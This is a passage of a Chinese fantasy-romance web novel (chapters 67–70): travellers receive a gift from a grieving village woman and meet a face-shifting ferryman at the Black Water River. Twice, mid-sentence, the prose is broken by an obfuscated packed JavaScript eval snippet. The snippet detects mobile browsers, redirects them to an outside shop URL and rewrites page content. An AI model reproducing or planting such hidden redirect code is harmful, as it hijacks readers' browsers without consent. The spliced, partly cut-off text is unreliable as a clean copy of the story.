他们不过是半夜听到屋顶隐约的说话声,发现两人都没在屋里,担心有异才悄悄出来查看,谁知竟撞见如此……匪夷所思的一幕。 李子遥的脸腾地一下红成了苹果般,手指颤抖地指着上面,嘴巴开开合合,却发不出一个完整的音节。叶玖虽然竭力维持着平静,但耳根也已染上绯红,眼眸里写满了难以置信和罕见的无措。她赶忙抬手,捂住了自家师弟差点惊叫出声的嘴,目光复杂地望向屋顶。 月光皎洁,夜风仿佛都带着一丝尴尬的暖昧,盘旋在沉默的村落上空。 屋顶上,江晚莲还沉浸在羞耻中,对下方两位观众的震撼全然未觉。 无忏被她捂着嘴,眨了眨眼,温热的气息拂过她的掌心。 67. 等待进入网审 翌日清晨,当无忏和江晚莲一前一后出现在简陋的堂屋时,等在那里的李子遥和叶玖不约而同地怔了怔。 两人周身都笼罩着一层肉眼可见的低气压,以及……淡淡的疲惫。 无忏的作息本就异于常人,平日里即便彻夜未眠,也总是神情冷冽、姿态挺拔如孤松。可今日,他那头总是束得一丝不苟的黑发,竟有几缕不听话地散落额前,透着些许随意的凌乱。俊美却常如冰封的面容上,罕见地蒙着一层浅淡的倦色,眼下甚至有极淡的阴影。他抱着剑倚在门边,眼帘半垂,仿佛连清晨的光线都有些抗拒。 而江晚莲的状态,只能用“惨烈”来形容。小脸苍白,眼底泛着明显的青黑,嘴唇也没什么血色,整个人像是被抽走了大半精气神,走路脚步都有些虚浮。她勉强支撑着走到桌边坐下,一手按着额角,眉头紧锁,浑身上下写满了“宿醉未醒”和“严重睡眠不足”。 叶玖的目光在两人之间隐晦地逡巡了一个来回,想起昨夜屋顶那令人面红耳赤又匪夷所思的一幕,清丽的脸上罕见地浮现出一丝尴尬。她轻咳一声,转向状态更糟糕的江晚莲,斟酌着开口:“呃,江、江……” 话头微妙地顿住了。称呼成了难题。昨夜虽未听全,但“江晚莲”三个字,以及后来那声低哑的“莲……”,却清晰地飘入了她和子遥耳中。此刻再叫“江姑娘”,似乎并无不可,但其中含义,却已与昨日截然不同。这简单的三个字,如今包裹着一个只有他们四人知晓的秘密。 “……江姑娘,”叶玖最终还是选择了这个稳妥却已变味的称呼,语气带着几分不易察觉的试探与缓和,“你脸色不佳,要不……我们再歇半日,晚些出发?” 江晚莲有气无力地摆了摆手,声音蔫蔫的:“啊……不用在意我,没关系的。”话虽如此,那模样看起来实在没什么说服力。 “诶?几位客人这就要动身了吗?”苍老而温和的声音从里屋传来。那位收留他们的老妇人抱着一件折叠整齐的衣物走了出来。她的目光柔和地落在萎靡不振的江晚莲身上,颤巍巍地走近,将手中的东西递了过去。 “呐,莲丫头,”老妇人唤着,脸上的皱纹舒展开,带着纯粹的善意,“这个给你。” 江晚莲愣了愣,视线落在那件衣物上。那是件样式简单却裁剪得当的褥裙,颜色是清新柔和的浅绿色,布料不算名贵,但质地细密,保存得极好。最引人注目的是衣襟和袖口处,用同色丝线绣着连绵精巧的缠枝莲纹,针脚细密匀称,栩栩如生,显然花了极大的心思。 “这……这是?”江晚莲受宠若惊,一时不敢去接。这衣裳看起来虽不华丽,但那精细的做工和饱含心意的刺绣,分明是极其珍视之物。 老妇人看着她,目光仿佛透过她,看到了另一个久远的身影,苦涩与温柔交织。“这是……给我家囡囡做的。料子早就备下了,花样也是她最喜欢的莲花……总想着,等她哪天回来,能穿上身。”她轻轻抚摸着柔软的布料,摇了摇头,将那份深藏的哀伤压回眼底,重新看向江晚莲,语气慈祥而坚定,“老婆子我眼神不好,但估摸着,你的身量和她当年差不多。看你身上这件也破得不成样子了……山里风凉,这件就给你吧,这料子厚,好歹能挡挡风寒。” “这、这我不能收!”江晚莲连忙推拒,心里又酸又暖,“这太贵重了,是您给女儿准备的,我怎么能……” “拿着吧,孩子。”老妇人不由分说,将褥裙轻轻塞进她怀里,枯瘦的手拍了拍她的手背,“衣裳做出来,就是给人穿的。囡囡她……没这个福分,你穿着合适,老婆子我心里也高兴,就像……就像看见了似的。” 布料入手温软,仿佛还带着阳光晒过的暖意,以及一种母亲般的慈爱。那精致的莲花刺绣,此刻更显得意味深长。江晚莲鼻尖一酸,低头看着怀中的浅绿衣裙,再想起自己那套沾满尘土、破了好几处的浅藕色旧衣,拒绝的话再也说不出口。 她抬起头,看着老妇人浑浊却盈满善意的眼睛,郑重地点头:“……谢谢您,奶奶。我会好好珍惜的。” 老妇人欣慰地笑了,眼角的皱纹更深了些:“快去换上吧,穿着新衣裳上路,精神些。” 江晚莲抱着衣服,转身去了里间。堂屋里一时安静下来,只剩下灶膛里柴火轻微的噼啪声。无忏倚门沉默,叶玖和李子遥对视一眼,皆从对方眼中看到了复杂的神色。这件突如其来的赠礼,连同老妇人那句“囡囡”,为这个平凡的清晨,平添了几分难以言喻的温情与惆怅。 片刻后,当江晚莲再次走出来时,仿佛换了个人。合身的浅绿色褥裙衬得她多了几分清丽温婉,袖口衣襟的莲纹随着她的动作若隐若现,仿佛真的有一株清莲在她周身悄然绽放。虽然脸色依旧有些憔悴,但整个人却因这身得体的衣裳而显得精神了不少,也似乎……与“江晚怜”那个名字所代表的过去,更疏远了一些。 她有些不自在地拉了拉裙摆,对老妇人感激地笑了笑。 老妇人上下打量着她,眼中光芒闪动,仿佛真的透过时光,看到了某种圆满。她点了点头,随即像是想起了什么,神情变得认真起来,目光缓缓扫过眼前四位年轻的过客。 “几位……是要继续往南边去吧?”老妇人轻声问,语气里带着了然。 叶玖颔首:“正是。” 老妇人沉默了片刻,望向南方,那是千穹山更深处的方向。“那条河……黑水河,很危险。”她慢慢说道,却又话锋一转,“很多年前,江逐义大侠离开这里,往河那边去的时候,也这么说过。” 江逐义,叶玖和李子遥立刻凝神细听。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087443|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“他说,他要去河对岸闯一闯,”老妇人的声音悠远,陷入回忆,“临走前,他跟我们这些留下的人说,让我们好好活着,守着这个家。等他回来,等这天下真的太平了……他要给这个没名字的村子,起一个最好听、最响亮的名字。” 她的目光变得有些朦胧:“他说,那是他欠我们的承诺。” 堂屋内一片寂静。江逐义的承诺——天下太平,为无名村题名。这个简单的愿望,承载着一个乱世漂泊者对安宁的向往,对未来的期许,以及对这群失去一切之人的责任。 叶玖的神色肃然起敬,李子遥也收起了平日的跳脱,脸上露出少见的郑重。 江晚莲深吸一口气,率先上前一步,对着老妇人,认真而清晰地说道:“奶奶,江大侠的承诺,我们记住了。” 叶玖也紧随其后,拱手行礼,清冷的声音带着坚定的力量:“若有机缘,晚辈叶玖,必不忘今日之言。” 李子遥挠了挠头,也学着师姐的样子,端端正正地行了一礼:“还、还有我李子遥!虽然不知道能做啥,但……但这话我记心里了!” 老妇人看着眼前这三个眼神清亮、语气诚挚的年轻人,眼眶微微湿润了。她连连点头,布满皱纹的脸上绽开一个无比欣慰的笑容,喃喃道:“好,好……都是好孩子……” 她的目光,下意识地飘向始终沉默地站在门口阴影处的玄衣少年。 无忏依旧抱着他的剑,身姿挺拔,仿佛与屋内这温情而略带伤感的告别氛围格格不入。他只是静静地、远远地望着这一幕,望着那三个做出承诺的年轻人,望着那位眼中含泪却带笑的老妇人,也望着……那个换上了浅绿衣裙、仿佛与过去悄然割裂的少女。 他没有上前,没有承诺,甚至连眼神都未曾波动分毫,只是那样沉默地看着,如同一个置身事外的旁观者,记录着一切,却从不参与。 然而,当他最终将目光落在江晚莲身上,落在她衣裙上那精致的莲纹时,那双向来沉寂的异色眼瞳深处,似乎有某种难以察觉的微光,极快地掠过,旋即又归于深潭般的平静。 告别了千恩万谢、依依不舍的老妇人,四人重新踏上了南下的路途。 村口的老树下,老妇人佝偻的身影久久伫立,目送着那四个年轻的背影逐渐消失在蜿蜒小径的尽头,融入苍翠山色之中。他们前往的方向,正是许多年前,那位姓江的恩人,带着一位不善言辞的女侠和一位开朗活泼的修士曾经走过的路,通往那片被称作黑水河的、未知而莫测的流域。 风穿过空寂的村落,带着山野的气息,也带走了短暂的喧嚣,重新归于平寂。只有那件浅绿色衣裙上的莲纹,仿佛一个无声的印记,将一段温暖的馈赠、一个沉重的承诺,与一个悄然转变的名字,一同带向了迷雾重重的远方。 68. 选择 南下的行程已过大半。 自那日离开千穹山巅,借宿过那个承载着温暖馈赠与沉重诺言的无名村落,四人便沿着地图上那条被荒草与时光淹没的古老小道,一路向南跋涉。江晚莲手中那张地图边缘越发毛糙,墨线也在频繁展开中略显模糊,但大致轮廓依旧清晰:沿着脚下这条蜿蜒小径一直走下去,最终将抵达一个至关重要的分岔点——一侧通向阴风惨惨的禁地“鬼哭岭”;另一侧,则是他们此行的终点,那条横亘在现实与传说之间、流淌着不祥黑水的界河。 若脚程不歇,赶在今日暮色四合前,应当就能站在那个决定前路的岔口了。 江晚莲仔细将地图折好,指尖抚平边角的褶皱,然后轻轻塞回怀中。随后目光飘向身侧,却立刻被一道不同寻常的身影攫住了注意力——这让她忍不住微微侧过脸,用带着三分探究、七分不自在的眼神,悄悄斜睨过去。 是无忏。 这人今日的行径,实在透着古怪。他一改往日那种一骑当先、将众人远远甩在身后的风格,竟破天荒地将“领路先锋”的位置“让”给了方向感极佳的叶玖。自己则抱着那柄从不离身的长剑,不远不近地,缀在了她的旁边。 这个距离把控得极其微妙。既不显得亲近到引人侧目,又绝非普通的同行者间隔。大约……刚好是她若低声说话,他能清晰听见;他若随意抬手,指尖堪堪能触到她衣袖边缘的距离。他步履依旧沉稳,目视前方被枝叶切割的蜿蜒路径,侧脸在林间漏下的斑驳光影中,依旧是那副万年不变的冷峻模样,下颌线绷得清晰。 “看什么?”似乎是额侧感受到她停留过久的视线,无忏并未转头,只是唇瓣微启,吐出两个平淡的音节。声音不高,恰好顺着风送入她耳中,带着他一贯的疏离,却又因这过近的距离,平添一丝难以言喻的存在感。 “我还想问你呢……”江晚莲迅速收回目光,盯着自己脚下被踩倒的草茎,低声嘟囔,试图压下心头那点莫名的躁动。 往常赶路,要么是他如离弦之箭般走在最前,她和其他两人在后面追;要么偶尔她鼓足勇气加快几步,试图与他并行问些事情,结果往往没说两句,就被他陡然加速或变换路线的步伐无情地甩回队尾。何曾像今日这般,他主动“屈尊降贵”,维持着这种近乎“陪伴”的姿态? 这感觉……就像一只习惯独行的孤狼,忽然收敛了利爪,默不作声地走在了人身旁。怪别扭的,让人浑身不自在。 他们的异常,自然没能逃过前方两人的眼睛。李子遥按捺不住旺盛的好奇心与某种“正道之光”的责任感,频频回头,目光在那两人之间可疑的空气中扫射。他终于憋不住了,凑到叶玖耳边,用气声急急道:“师姐……你看后面那俩!绝对有问……” “咳咳…子遥。”叶玖目不斜视,脚步未停,声音平稳却带着不容置疑的打断力道,“专心探路,勿要分心。”她耳根悄然晕开一抹极淡的绯色,昨夜屋顶那冲击性的一幕尚未从脑海中完全褪去,此刻身后那两人之间流动的、难以用言语形容的静谧磁场,让她这个向来以冷静自持著称的凌云门大师姐,都感到一阵轻微的无措与面颊发热。有些事,看破不说破,是为礼仪,也是为……避免尴尬。 “可是师姐!那面瘫他——” “咳……!”叶玖清咳的声音加重了些,带着明确的警告和一丝罕见的窘迫。她脚下步伐不着痕迹地加快了几分,试图拉开与后方那对“氛围制造者”的距离,给自己和这个过于耿直的师弟一点喘息与消化这诡异局面的空间。“前路渐窄,谨慎脚下。”她生硬地将话题扯回正事。 而后面,被前方两人暗自标注为“异常氛围核心”的江晚莲,此刻的注意力却飘向了另一边。 “诶…你看你看,”她像是发现了什么新奇有趣的事情,暂时忘记了身边的微妙距离,突然压低了声音,带着点分享秘密的兴奋,伸出手,轻轻拽了拽无忏那质地冷硬、触手微凉的玄色衣袖。 无忏被她这突如其来的拉扯带得脚步微顿,倒是没什么反抗地向她这边略略俯身,好让她的耳语能更清晰地传入耳中。 “他们俩又凑一块儿说悄悄话了!”江晚莲用气声说着,眼神示意前方。叶玖和李子遥确实挨得极近,李子遥几乎要把脑袋凑到师姐肩头,嘴唇快速翕动,显然在传递着不想被后方听见的信息。叶玖虽然依旧保持着端庄的行走姿态,面色如常,但微微绷紧的侧脸弧线和那偶尔掠过、混合着无奈与一丝赧然的眸光,却泄露了她并非全然置身事外。 很平常的同门交流,至少表面风平浪静。 “哦。”无忏顺着她示意的方向,抬起眼帘,目光平静无波地在那对师姐弟身上停留了一瞬,旋即收回,淡淡地应了一声,听不出任何情绪起伏。他的注意力,更多地停留在江晚莲依旧拽着他衣袖未松的指尖上,那几根手指因为用力而微微泛白,在玄色衣料的衬托下格外显眼。 江晚莲这才后知后觉地意识到自己动作的“越界”与“熟稔”,连忙像被火星溅到般倏然松手,指尖残留的衣料触感让她有些不自在地蜷了蜷手指,在身侧裙摆上悄悄蹭了蹭。为了掩饰这瞬间弥漫开的尴尬,她没话找话,问出了一个事后回想起来颇觉傻气的问题:“你说……他们会不会在议论我们?” 无忏没有立刻回答。他沉默地走着,林间疏落的光影在他轮廓分明的脸上明明灭灭,长长的睫毛在下眼睑投下浅浅的阴影。时间一分一秒过去,就在江晚莲以为他如同往常般,将这个无聊问题彻底忽略时,他才低语了一句,声音轻得很: “或许。” 仅仅两个字,配上他那张看不出任何情绪波动的侧脸,让江晚莲一时之间难以分辨,这是不是随口敷衍。 气氛重新归于安静,只有四双脚步踏在泥土与落叶上的沙沙声,风吹过不同高度林梢的层层呜咽,以及不知藏身何处的鸟雀偶尔发出一两声清脆又孤寂的啼鸣。然而,这种行走间的沉默,却因为两人之间那持续存在的、不远不近的“并行”感,而不再显得空旷疏离,反而流淌着一种难以言喻的、近乎默契的平和。 走在前方的叶玖,或许是为了打破这弥漫着微妙尴尬的沉寂,也或许是为了切实履行“同行监视并了解动向”的职责,主动挑起了话头。她稍稍放缓了脚步,让自己的声音能清晰地传到后方两人耳中:“无忏,关于黑水河,我师门典籍记载有限,只知是久负凶名的禁地,河中黑水有异,传闻触之肌肤溃烂,且对岸常年被毒瘴笼罩,飞鸟难渡,生机断绝。”她的语气冷静客观,将话题稳稳拉回了关乎生死的前路正事,“不知……你可有更具体或不同的了解?” 她的问题清晰、务实,直指核心。 无忏的脚步未曾因此有丝毫紊乱,闻言,那双低垂的眼睫颤动了一下。他维持着目视前方、心无旁骛的姿态,沉默了片刻,才用他那标志性的、缺乏抑扬顿挫的语调平铺直叙:“记载无误。黑水确有蚀骨之性,非寻常舟楫可渡。”他补充道,“渡河需寻特定船夫。” “船夫?”这次接话的是忍不住回头的李子遥,脸上写满了诧异。那种地方居然还有摆渡的? “嗯。”无忏的回应依旧简洁,“生性古怪。只渡两种人,已死之人,与将死之人。”他稍作停顿,似乎在回忆或确认,然后继续,“渡资,是渡河者身上……最重要的东西。” 说完,他极轻微地扯动了一下嘴角,那弧度短暂得如同错觉,却清晰地传递出一丝冰冷的嘲讽:“荒谬。” 这情报来源于“鼠姐”,既然连鼠姐那样的人都能从河对岸带回消息,全身而退,他无忏有何不可? 他的回答简略却信息明确,既印证了叶玖所知的凶险,又指明了唯一的途径。然而,若是观察力足够敏锐,便能隐约察觉到,他在回答叶玖问题时,那双看似聚焦于前路或虚空的异色眼瞳,其真正的注意力焦点,似乎并未完全落在提问者身上。反而,有一种极其隐晦的、近乎本能般的感知,如同无形的蛛丝,始终轻轻系在身侧正凝神倾听、眉头因忧虑而微微蹙 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声音低哑,轻若蚊蚋,没有任何上下文,突兀地出现在关于黑水河生死规则的讨论余韵之后,像是一句纯粹下意识的呢喃,又像是一个只有特定对象才能接收到的、意义不明的信号。 不是完整的“江晚莲”,更非过去的“江晚怜”。是那个更私密、更亲昵,只属于昨夜月光与醉意、属于她慌乱“威胁”与掩饰的——那个未竟的称呼的首字。 江晚莲浑身的血液仿佛在这一瞬冲上了头顶。 他居然还记得?!还在这时候、这种地方、用这种语气……喊了出来?!她以为昨夜那番混乱,早就断片了! 剧烈的羞臊混合着某种难以言喻的悸动,如同火山喷发般从心底轰然炸开。她脸颊以肉眼可见的速度“腾”地烧红,热度迅速蔓延至耳根、脖颈,连指尖都感到阵阵发麻。她猛地转过头,杏眼圆睁,不可置信地瞪向身旁仿佛无事发生的罪魁祸首。 无忏却依旧维持着那副八风不动的侧脸,目光淡淡地平视前方,下颌线清晰冷硬,仿佛刚才那一声足以搅乱一池春水的低语,真的只是掠过林间的、一道无关紧要的风声。 但江晚莲知道,那不是! 她张了张嘴,想质问他,想“威胁”他闭嘴,想像昨夜那样扑上去捂住他的嘴。可前方就是叶玖和李子遥的背影,午后静谧的林间仿佛能将最细微的声响放大。所有的羞恼和慌乱堵在喉咙口,最终只化作一个更加气恼的瞪视,和一声压在齿缝间的、几乎不成调的:“你……!” 无忏察觉到了她灼人的视线,极其缓慢地转过了脸。那双异色的眼瞳在斜晖映照下,流转着难以捉摸的微光,静静地对上她因羞愤而格外明亮的眸子。他没笑,可那微微挑起的眉梢,和眼底深处一丝极淡的戏谑,让江晚莲更加确定——这家伙绝对是故意的! 就在这无声的“对峙”即将演变成更激烈的单方面控诉时,走在前方的叶玖适时停下了脚步。 “前面,”她清冷的声音打破了后方凝滞又暧昧的空气,带着一丝如释重负的平稳,“应该是分岔口了。” 四人眼前,林木豁然开朗。一条略显宽阔、却同样荒芜的古道在此一分为二,如同一个巨大的“Y”字,刻在大地之上。一条偏向西南,隐入愈发幽暗深沉、仿佛连光线都被吞噬的山岭阴影之中,那里隐约传来似有似无的、如同呜咽般的风声——鬼哭岭。另一条则继续向南延伸,道路似乎略微平坦些,但极目望去,远处天际弥漫着一层不祥的、灰黑与暗紫交织的浑浊气息,仿佛巨大的瘴疠之墙横亘天地之间——黑水河的方向。 暮色四合,最后的余晖为这命运的分岔口涂抹上苍凉而壮丽的色彩。四人站在路口,望着截然不同的两条前路,方才那些微妙的插曲与悸动,似乎都被眼前实实在在的险阻与抉择,暂时压回了心底。 风,从两条道路的深处吹来,带着不同的寒意与气息,拂过每个人的脸颊。 选择,就在眼前。 69. 等待进入网审 站在这个命运的分岔口,江晚莲只觉得两股截然不同却又同样凛冽的阴风,从左右两条道路的深处盘旋而出,交织着扑打在脸上,激起皮肤一阵细密的战栗。那种寒意并非单纯的低温,更像是一种无形无质、直透骨髓的森然气息,让人心底发毛。 在这决定前路的关口,四人依着无忏从鼠姐那里听来的、语焉不详的提示,决定暂作休整,待至子夜时分再行动。随着时间推移,夜色如浓墨般化开,周遭的寂静也仿佛有了重量。江晚莲抱膝坐在一块冰凉的石头上,只觉得每分每秒的等待,都像在向着传说中的幽冥地府又挪近了一步。 子夜将至,他们终于再次启程,踏上了通往黑水河的那条路。叶玖走在最前,一手紧紧按在腰间软剑的剑柄上,她的目光如鹰隼般锐利,不断扫视着被黑暗与稀薄雾气笼罩的前方与两侧,不放过任何一丝风吹草动。连一向性子急躁、耐不住沉闷的李子遥,此刻也敛去了所有跳脱,脸上写满了罕见的凝重与警惕,紧跟在师姐身侧,手也虚按在自己的剑鞘上。 唯有无忏,依旧是一副与周遭紧绷气氛格格不入的平静模样。他步履从容,江晚莲瞥了他一眼,忍不住在心里嘀咕:这家伙要真是哪部作品的主角,那一定走的是“天上天下,唯我独尊”的狂霸路线,眼前这点阵仗,恐怕连开胃小菜都算不上。 通往黑水河的路其实不算漫长,但越往里走,空气中那股阴湿沉滞的气息便愈发浓重,仿佛连呼吸都变得粘稠起来。光线昏暗,仅有稀薄的月光勉强穿透雾气,勾勒出脚下模糊小径和两旁影影绰绰的扭曲树影。 四人小心翼翼地前行,精神高度集中。忽然,江晚莲侧耳倾听,捕捉到了一缕极其细微的、不同于风声的潺潺之音,断断续续,却持续传来。 “叶姐姐,”她压低声音,带着些许不确定指向左侧,“水声……好像是从左边传来的。” 叶玖闻言,脚步微顿,略带诧异地看了江晚莲一眼,似乎没料到她对水流声如此敏感。但眼下没有更好的指引,她略一颔首:“好,向左。” 转向左侧小径,雾气并未消散,反而似乎更浓了些。然而,就在一片朦胧混沌之中,前方不远处,竟隐约透出了一点极其微弱、摇曳不定如鬼火般的昏黄光晕。 有光?四人心中同时一凛,交换了一个眼神,更加谨慎地向那点光亮靠近。拨开最后一片遮挡视线的低矮灌木,眼前的景象却让他们微微一愣。 那并非有人掌灯,而是一盏早已熄灭、被遗弃在枯树桩上的破旧风灯。灯罩积着厚厚的灰尘,灯油早已干涸。灯旁的地面,有明显被人反复踩踏、甚至短暂停留的痕迹——散落的几块平整石头,一堆早已冰冷的灰烬,还有几个深深浅浅、被雨水泡得泥泞的脚印。 “这……这是什么东西?”李子遥眼尖,俯下身,从泥泞中捻起了一片几乎与泥土同色的、软烂破损的纸片。他甩了甩上面的泥水,借着微弱的月光,费力地将这湿漉漉的纸片展开。 纸上墨迹已然晕染模糊,但字形尚可辨认,笔迹纤细,明显出自女子之手。只是那每一笔划都力透纸背,甚至能看出下笔时那股近乎决绝的狠厉与……某种难以言喻的情绪。 “天道五十五年,莫相愁携同伴九者渡黑水河,死九余一,其莫相愁渡河过半返回,代价为名及右肩关节受伤。” 叶玖凑近细看,沉默片刻,清冷的声音在寂静中响起:“天道五十五年……是五年前。没想到,五年前就有人试图渡河,而且……”她看向那“死九余一”的字样,眉头紧锁。 莫相愁……九个同伴……江晚莲咀嚼着这个名字,脑中飞速运转。她对“莫相愁”毫无印象,但这段描述,却莫名地与鼠姐曾经模糊提及的某些碎片重合——鼠姐说过自己从黑水河回来了,但付出了代价;也提过“九死一生”…… “无忏,”她忍不住转向身旁沉默的少年,声音压得更低,“你说鼠姐……会不会就是这个‘莫相愁’?” 无忏的目光在那张湿烂的纸片上停留了一瞬,神色未有波动。“……或许。”他的回答依旧简洁,随即移开视线,望向雾气更深处,“但,与我们无关。” 他说的是事实。无论鼠姐是否就是当年那个付出惨烈代价、失去“名”的莫相愁,对于此刻即将面对黑水河的他们而言,那都只是一段属于他人的、血淋淋的前尘往事,警示足够,却无法改变他们必须前行的现实。 李子遥撇撇嘴,随手将那张承载着惨痛记录的烂纸丢回泥泞之中,拍了拍手,仿佛要甩掉那上面的不祥气息,快步跟上继续前进的叶玖和江晚莲。 越往深处走,那潺潺的水声便越发清晰、响亮,逐渐盖过了林间的风声与其他窸窣响动。浓雾似乎被这水汽滋养,变得更加厚重粘滞,能见度极低。 终于,在几乎要撞上之前,他们穿透了最后一层雾障。 眼前豁然开朗——那是一条宽阔得超乎想象的河流,河水并非预想中的漆黑如墨,而是在晦暗天光下呈现出一种极为深沉的、近乎于黑的墨绿色,静静流淌,表面甚至看不到多少波纹,却散发着令人极度不安的沉寂气息。河水无声,方才听到的潺潺声,竟是来自更上游某处激流。 而就在他们正前方不远处的河岸边,一个破败不堪的小码头,如同垂死巨兽的骨骼,歪歪斜斜地探入那墨绿色的水中。码头的木板大多已经腐朽断裂,长满了湿滑的苔藓,果真如鼠姐所言,“烂得不成样子”。 然而,就在这废弃码头的尽头,一星微弱的、昏黄如豆的灯火,在浓雾与水汽中顽强地摇曳着。 灯下,系着一叶小舟。舟身窄小简陋,同样布满岁月的痕迹。 舟旁,静静地立着一个人影。 头戴宽大破旧的斗笠,身披看不清颜色的蓑衣,身形佝偻,仿佛已在此伫立了百年、千年,与这码头、这迷雾、这墨绿色的河水融为一体。 正是那传说中,只渡“已死之人”与“将死之人”的——船夫。 船夫静静地立在摇曳的灯下,宽大的斗笠遮住了大半面容,只露出一个下颌。直到四人走近码头腐朽的边缘,船夫才极其缓慢地、如同生锈的机括般,抬起了头。 斗笠下的阴影逐渐褪去,露出了一张脸。 然而,当先的叶玖看清那张脸的瞬间,瞳孔骤然收缩如针,握着剑柄的手猛地一紧,指节发出轻微的“咔”声。一股寒气从脚底直冲天灵盖——那斗笠之下,赫然是她自己的面容!一样的眉眼,一样的轮廓,甚至连她此刻因震惊而微微抿紧唇线的细微表情都复刻得一模一样!只是那张“脸”上毫无生气,眼神空洞得像两口深井,嘴角却挂着一丝极其诡异、毫无温度的弧度,仿佛戴着一张以她为原型、却抽离了所有灵魂的精致面具。 她深深吸了一口气,强迫自己冷静下来。是幻术?是易容? “师姐,怎么了——啊啊啊啊!!”紧随其后的李子遥好奇地侧身探头,视线与那“船夫”对个正着。当他看到一张与自己分毫不差、却挂着那种令人毛骨悚然“笑容”的脸时,魂飞魄散般的惊叫脱口而出,几乎是本能地,“锃”一声拔出了腰间的长剑,寒光直指那诡异的“自己”。 走在稍后的江晚莲被李子遥的惨叫吓了一跳,下意识就想往前挤去看个究竟。 手腕却猝然一紧,一股不容抗拒的力道将她硬生生拽了回来,踉跄着撞入一个带着冷冽气息的怀抱。 “好痛!”江晚莲吃痛,揉着瞬间泛起红痕的手腕抬起头,对上无忏微蹙着眉的侧脸。他用自己的身体挡住了她大部分视线,手臂横亘在她身前,是一个保护的姿态。 但江晚莲还是从缝隙中瞥见了——那船夫此刻,顶着的是一张她无比熟悉、却又无比陌生的脸。是“江晚怜”的脸,属于这具身体原主的面容,却套在那身粗陋的船夫打扮里,眼神漠然,与她在噩梦中见到的、充满怨毒的“江晚怜”截然不同。心中震惊如潮水翻涌,奇怪的是,预想中的恐惧并未降临,反而是一种更为复杂的、混杂着荒谬与一丝了然的感觉——仿佛某种冥冥中的印证。 而在无忏的视角里,码头上那个身影,呈现的却并非他的形貌。 那是一个女子的轮廓。黑色的长发如瀑,几乎垂落至脚踝,在昏黄的灯笼光晕和墨绿河水的映衬下,泛着幽暗的光泽。她身姿挺拔却透着一种亘古的沉寂,脸上没有什么表情,一片冰冷的淡漠。最让无忏眼瞳微缩的是,她抬起眼眸望向他时,露出的那双眼睛——右眼,是与他右眼如出一辙的、清澈而冰冷的翠绿色。 “渡河者?”船夫开口了,声音平平无奇,却奇异地同时带着叶玖声线的清冷、李子遥的些许少年气、江晚怜的娇柔,以及一种更深沉的、非人的空洞感。她或者他的目光首先落在为首的叶玖身上。 “……是。”叶玖压下翻腾的心绪,沉声应答,目光紧锁着那张属于自己的“脸”,试图找出破绽。 “四位一同?”船夫的视线转向了如临大敌、剑尖微颤的李子遥。 “对、对啊!”李子遥梗着脖子,努力想表现出无畏,但声音里的紧绷出卖了他。 “渡资……”船夫的眸光再次移动,这一次,越过了挡在前面的无忏,似乎落在了被他护在身后的江晚莲身上,停顿一瞬,又滑回无忏脸上,那翠绿色的右眼在灯笼光下显得格外幽深,“……各位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在他的视野里,那位黑发及踝、面容冰冷的女子,毫不畏惧地迎上他的目光。两人视线在空中交汇,无忏左眼的灼痛感陡然加剧,视野边缘甚至开始泛起细微的、只有他自己能感知到的扭曲红光。 就在这时,船夫——或者说,那黑发女子微微偏了偏头,翠绿色的眼眸深处,似乎掠过一丝极其悠远、如同回忆起什么的微光。她看着无忏,看着他那双异色的眼瞳,尤其是那只翻涌着暗红色、显得躁动不安的左眼,用她那独特的、混合了众人音色却又归于平淡的语调,清晰地说道: “我记得你。” 她顿了顿,似乎在确认某个久远的印记。 “在二十一年前。” 这轻飘飘的一句话,却如同惊雷炸响在无忏耳畔,也狠狠撞在其他三人心中。二十一年前?那正是江逐义携两个同伴共闯乱世的时代! 无忏的左眼灼痛瞬间达到一个高峰,一些破碎、混乱、充满血腥的画面碎片不受控制地掠过脑海,快得抓不住任何清晰的轮廓,只留下剧烈的刺痛和一种源自灵魂深处的悸动与……模糊的熟悉感。他闷哼一声,抬手用力按住左眼,指缝间似乎有极淡的红光溢出。 “你……”他声音沙哑,带着压抑的痛苦和前所未有的惊疑。 船夫的声音恢复了绝对的漠然,“将死之人,与‘悖逆之活死人’……有趣。更没想到,二十一年后的因果,会以这种形式汇聚于此。” 她的目光再次扫过四人,最终定格在无忏痛苦隐忍的脸上,以及他身后脸色苍白、眼神复杂却带着关切的江晚莲身上。 “规矩是死的。”她忽然说了句似乎前言不搭后语的话,“而你们……很有趣。尤其是这份纠缠的因果。” 她缓缓抬起一只手,枯瘦的手指指向那叶在墨绿河水中微微起伏的破旧小舟。 “我可以破例一次。” 叶玖和李子遥同时屏住呼吸。 “但渡资,需变一变。”船夫的眼眸如同深潭,“我可以载你们全部过河。但渡资,将不再是各自付出‘最重要之物’。” 她停顿,确保每个人都在听,尤其是停在无忏身上。 “那便按照二十一年前一样吧,或者,由其中一人,以自身最珍贵之物为代价,强行斩断。” 船夫看着神色各异的四人,最后说道: “选择吧。” 河风呜咽,灯笼摇曳,墨绿色的黑水在脚下无声流淌,散发着不祥的气息。前方是未知的险地与探寻的答案,身后是来路却已无法真正回头。 四人站在腐朽的码头边缘,面临着远比想象中更加诡异与沉重的抉择。而“二十一年前”这个词汇,如同一个巨大的阴影,笼罩在无忏心头,也投映在每个人惊疑不定的眼中。 70. 回响 “阁下所言旧例是指……?”叶玖稳住心神,追问道。她的目光在船夫和无忏之间逡巡,试图从这诡异的僵局中理出清晰的条件。按二十一年前的渡资?那究竟是什么? 